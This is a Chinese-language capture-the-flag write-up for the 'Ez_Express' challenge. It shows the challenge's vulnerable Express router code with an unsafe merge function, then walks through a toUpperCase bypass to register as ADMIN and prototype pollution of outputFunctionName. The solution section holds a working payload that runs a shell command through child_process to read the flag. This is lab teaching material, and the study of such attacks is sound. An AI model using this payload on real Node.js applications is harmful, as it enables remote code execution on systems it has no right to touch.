Ez_Express_CYCTF20

复现平台: buuoj

分析

  1. 抓包看源码,发现www.zip,阅读发现关键文件index.js
    1. 用户数据存储在req.session.user中
    2. 流程
      1. 导航到/未登录重定向到/login页面,通过res来进行渲染
      2. 结合1要登录admin用户会检查req.session.user的信息是否匹配,又无法获取admin的密码 -> 但是有一个可能,覆盖?通过注册实现,但是有安全检查,等下再绕过,看看搞不搞得通
        1. 思路1
          1. 登录admin后传body污染原型链,原型链只能在登录后进行污染
          2. 获取信息,带外(需要命令执行)/回显(难,没法读文件),这里肯定要读文件,可不可以进行命令执行 -> 通过原型链污染后新建的对象都会有某个属性,将某个属性设置为一个函数,执行命令,理论可行,可以执行命令直接看反弹shell,不出网就用回显处理(类似wangding24 web02)
        2. 思路1待解决
          1. 覆盖需要绕过,match()绕过,处理match还对username**进行了什么处理(从处理想对策)**,可能有用?toUpperCase()?
            1. toUpperCase,可以进行绕过,这里node漏洞的
          2. 命令执行部分使用shell.js可以一试,需要找到一个对象访问它的属性但是被覆盖 -> 先访问/action在访问/info有res.outputFunctionName(在/目录中的和/action中的不一样),通过{"__proto__": {"outputFunctionName": function() {命令执行实现}}
            1. nodejs

index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}

return undefined
}

router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={'user':req.session.user.user});
});


router.get('/login', function (req, res) {
res.render('login');
});



router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}

}
res.redirect('/'); ;
});
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

*修正

  1. 思路没有错就胜利很多了
  2. fix1: 这里的访问属性调用函数有问题
    1. payload{"lua":"123","__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"},"Submit":""}这样来调用,插入模板进行调用,反而如果直接定义函数的的话无法被调用
  3. fix2: 注意传输json对象时要修改content-type: application/json

解题步骤

  1. 注册admın成功进行覆盖
  2. 访问/action并进行覆盖,payload{"lua":"123","__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"},"Submit":""}
  3. 访问/info

总结

  1. 几个核心思想
    1. 读文件一般需要命令或者包含
    2. 进行了什么处理(从处理想对策)如uppercase
    3. 这种源码路由题还是先从路由再到细节想思路,不会太跳跃
  2. ref
    1. p神的js toUpperCase绕过
    2. nodejs